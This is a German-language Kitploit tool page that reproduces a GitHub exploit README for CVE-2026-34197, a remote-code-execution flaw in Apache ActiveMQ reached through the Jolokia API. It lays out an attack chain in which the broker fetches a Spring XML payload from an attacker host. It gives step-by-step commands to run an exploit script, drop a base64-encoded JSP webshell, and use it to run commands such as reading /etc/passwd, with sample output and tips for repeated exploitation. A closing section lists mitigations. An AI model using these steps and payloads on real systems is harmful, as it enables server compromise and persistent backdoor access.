Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-34197 — Apache ActiveMQ RCE über Jolokia Schwachstellenanalyse und Reproduktionsnotizen | Kitploit
Tools/GitHubGitHub/asdasddqwdq29-a11y/cve-2026-34197
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-Tool
GitHubasdasddqwdq29-a11y/cve-2026-34197

CVE-2026-34197

Apache ActiveMQ RCE über Jolokia Schwachstellenanalyse und Reproduktionsnotizen

Repository anzeigen
6vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-34197 - Apache ActiveMQ RCE via Jolokia

1. Übersicht

ElementDetails
CVE-IDCVE-2026-34197
CVSS8.8 (HOCH)
SchwachstellentypRemote Code Execution (RCE)
CWECWE-20 Unzureichende Eingabevalidierung / CWE-94 Code-Injection
Betroffene KomponenteApache ActiveMQ Classic - Jolokia JMX-HTTP-Bridge
Betroffene Versionen< 5.19.4 und 6.0.0 bis 6.2.2
Behobene Versionen5.19.4 / 6.2.3
Offenlegungsdatum2026-04-07
AuthentifizierungStandardmäßig erforderlich, üblicherweise admin:admin. Versionen 6.0.0-6.1.1 können ohne Authentifizierung erreichbar sein, wenn sie mit CVE-2024-32114 verkettet werden.
EntdeckungGemeldet als KI-gestützte Forschung von Anthropic Claude, nachdem sie etwa 13 Jahre lang vorhanden war.

2. Grundursache

2.1 Angriffskette

root@kitploit:~
Angreifer
  |
  |-- 1. POST /api/jolokia/
  |      BrokerService.addNetworkConnector(String) aufrufen
  |      Argument: static:(vm://evil?brokerConfig=xbean:http://ANGREIFER:PORT/shell.xml)
  |
  v
ActiveMQ Broker
  |
  |-- 2. Parst die URI. Da vm://evil nicht existiert, versucht ActiveMQ dynamisch einen Broker zu erstellen.
  |      brokerConfig=xbean:http://ANGREIFER:PORT/shell.xml
  |
  |-- 3. Das xbean:-Protokoll ruft eine entfernte Spring-XML-Datei über HTTP ab.
  |
  |-- 4. ResourceXmlApplicationContext parst das XML und instanziiert einen ProcessBuilder-Bean.
  |      Die init-method="start" wird ausgeführt, bevor die Konfigurationsvalidierung die URI blockiert.
  |
  `-- 5. Remote-Code-Ausführung wird erreicht.

2.2 Wichtige Bedingungen

  1. Jolokia-API-Exposition – Die ActiveMQ-Webkonsole macht /api/jolokia/ verfügbar und bietet JMX-over-HTTP-Zugriff.
  2. Zu breite MBean-Whitelist – Der Fix für CVE-2022-41678 führte eine Whitelist ein, die breite org.apache.activemq:*-Operationen zulässt, einschließlich addNetworkConnector.
  3. VM-Transport-Remote-Konfiguration – Der Parameter brokerConfig des vm://-Transports kann auf entfernte Spring-XML verweisen, und die Bean-Instanziierung erfolgt, bevor die Konfiguration abgelehnt wird.

2.3 Verhalten des Fixes

ActiveMQ 6.2.3 fügt eine Validierung innerhalb von addNetworkConnector() hinzu, um vm://-Transport-URIs abzulehnen:

root@kitploit:~
"error": "VM scheme is not allowed"

3. Nachvollzug

3.1 Umgebung

ElementDetails
Angreifer-HostmacOS mit OrbStack Docker
Ziel-Imagealfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1)
Laufzeitbenutzeramq (uid=33031)
Basis-OSRocky Linux 8.9

3.2 Schritte

Schritt 1: Labor starten

root@kitploit:~
cd upstream-poc
docker compose up -d

Schritt 2: Jolokia-API überprüfen

root@kitploit:~
curl -u admin:admin -H "Origin: http://localhost:8161" \
  http://localhost:8161/api/jolokia/

Eine status: 200-Antwort bestätigt, dass Jolokia erreichbar ist.

Schritt 3: Exploit ausführen und Webshell schreiben

root@kitploit:~
python3 exploit_webshell.py \
  -t http://localhost:8161 \
  --lhost <IHRE_IP> \
  --lport 9999

Das Skript führt folgende Aktionen aus:

  1. Überprüft die Jolokia-API.
  2. Findet den Broker-Namen.
  3. Entfernt einen vorhandenen NetworkConnector namens NC, um wiederholte Tests zuverlässig zu machen.
  4. Startet einen lokalen HTTP-Server, der eine bösartige Spring-XML-Nutzlast ausliefert. Die JSP-Webshell ist als Base64 eingebettet, sodass das Ziel die XML nur einmal abrufen muss.
  5. Sendet eine addNetworkConnector-Anfrage, um den verwundbaren Codepfad auszulösen.
  6. Überprüft, ob die Webshell erfolgreich geschrieben wurde.

Schritt 4: Webshell verwenden

root@kitploit:~
curl -u admin:admin "http://ZIEL:8161/admin/<zufällig>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)

curl -u admin:admin "http://ZIEL:8161/admin/<zufällig>.jsp?cmd=cat+/etc/passwd"

3.3 Beispielausgabe

root@kitploit:~
===============================================================
  CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
  ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
  Ziel ruft ein XML-Payload ab; JSP wird aus Inline-Base64 geschrieben
===============================================================

[*] Generierter zufälliger Webshell-Dateiname: ndkjwpqe.jsp
[*] Schritt 1/5: Überprüfe Jolokia-API...
[+] Jolokia erreichbar - Status 200
[*] Schritt 2/5: Broker-Namen ermitteln...
[!] Verwende Standard-Broker-Namen: localhost
[*] Schritt 3/5: Alten NetworkConnector bereinigen...
[*] Schritt 4/5: Versuche webapps-Pfad: /opt/activemq/webapps/admin
[+] Payload-Server auf :9999 (shell.xml mit Inline-Base64-Webshell)
[+] Ziel hat shell.xml von 192.168.3.107 abgerufen
[+] Jolokia gab 200 zurück - Exploit ausgelöst
[*] Warte darauf, dass Ziel das Payload ausführt...
[+] Ziel hat shell.xml von 192.168.3.107 abgerufen
[*] Schritt 5/5: Überprüfe Webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<Befehl>
[+] RCE-Ausgabe: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================

4. Versionsvergleich

VersionImageJolokia-AntwortRCE
5.18.6apache/activemq-classic:5.18.6status: 200, value: NCErfolgreich als uid=0(root)
6.2.1alfresco/alfresco-activemq:6.2.1status: 200, value: NCErfolgreich als uid=33031(amq)
6.2.3alfresco/alfresco-activemq:6.2error: VM scheme is not allowedBehoben

5. Hinweise und Einschränkungen zur Ausnutzung

5.1 Wiederholte Ausnutzung

addNetworkConnector() registriert einen Connector namens NC. Eine zweite Registrierung schlägt mit einem JMX-Namenskonflikt fehl und gibt einen 500-Fehler zurück. Das Skript behandelt dies, indem es vor dem Auslösen des Exploits removeNetworkConnector("NC") aufruft.

5.2 Webshell-Schreiben

ActiveMQ verwendet eingebettetes Jetty, aber das Webapps-Verzeichnis existiert auf der Festplatte und die JSP-Engine kompiliert neu geschriebene .jsp-Dateien. Dies macht das Schreiben einer Webshell in der getesteten Umgebung möglich.

Das Payload schreibt die JSP mit Inline-Base64:

root@kitploit:~
echo <BASE64_KODIERTE_JSP> | base64 -d > /opt/activemq/webapps/admin/<zufällig>.jsp

Vorteile:

  • Vermeidet XML-Parsing-Probleme, die durch JSP-Sonderzeichen wie <, >, % und " verursacht werden.
  • Vermeidet eine zweite ausgehende Anfrage vom Ziel zum Herunterladen der JSP. Das Ziel ruft nur das XML-Payload ab.

5.3 Anforderung an ausgehendes Netzwerk

Das Ziel muss in der Lage sein, den vom Angreifer kontrollierten HTTP-Server zu erreichen, um das Spring-XML-Payload abzurufen. Wenn das Ziel keine ausgehende Route zum Angreifer hat, kann dieser Exploit-Pfad nicht abgeschlossen werden.

5.4 Jolokia-Origin-Prüfung

Direkte Jolokia-Anfragen können aufgrund von CORS-Prüfungen 403 zurückgeben. Fügen Sie einen Origin-Header hinzu, der dem Ziel entspricht:

root@kitploit:~
Origin: http://ZIEL:8161

6. Dateien

root@kitploit:~
CVE-2026-34197/
|-- README.md                    # Dieser Bericht
|-- exploit_webshell.py          # Einmaliger Webshell-Schreiber mit Inline-Base64 und zufälligem JSP-Dateinamen
`-- upstream-poc/                # Dateikopie von dinosn/CVE-2026-34197
    |-- docker-compose.yml       # Laborumgebung für ActiveMQ 6.2.1
    |-- exploit_poc.py           # Ursprüngliches PoC-Skript mit Serve/Exploit/Auto-Modi
    `-- serve_payload.py         # Einfacher Payload-HTTP-Server

Skriptvergleich

SkriptZweckErfordert ausgehende VerbindungWebshell
exploit_poc.pyUrsprünglicher blinde-RCE-PoC, der einen beliebigen Befehl ausführtErforderlichNein
exploit_webshell.pyEinmaliger reflektierter RCE über eine geschriebene JSP-WebshellNur für den XML-Abruf erforderlichWird automatisch mit zufälligem Dateinamen geschrieben

7. Abhilfemaßnahmen

  1. Aktualisieren – Aktualisieren Sie auf ActiveMQ Classic 5.19.4+ oder 6.2.3+.
  2. Jolokia-Zugriff einschränken – Beschränken Sie den Zugriff auf Port 8161 durch Firewall-Regeln oder Netzwerkrichtlinien.
  3. Jolokia deaktivieren – Wenn keine entfernte JMX-Verwaltung erforderlich ist, deaktivieren Sie die Jolokia-API in jetty.xml.
  4. Standard-Anmeldedaten ändern – Ersetzen Sie die Standard-Anmeldedaten admin:admin.
  5. Ausgehenden Zugriff einschränken – Verhindern Sie, dass ActiveMQ nicht vertrauenswürdige externe HTTP-Ressourcen erreicht.

8. Referenzen

  • Horizon3.ai Offenlegung: https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/
  • Apache Security Advisory: https://activemq.apache.org/security-advisories.data/CVE-2026-34197-announcement.txt
  • Ursprüngliches PoC-Repository: https://github.com/dinosn/CVE-2026-34197
Tool herunterladen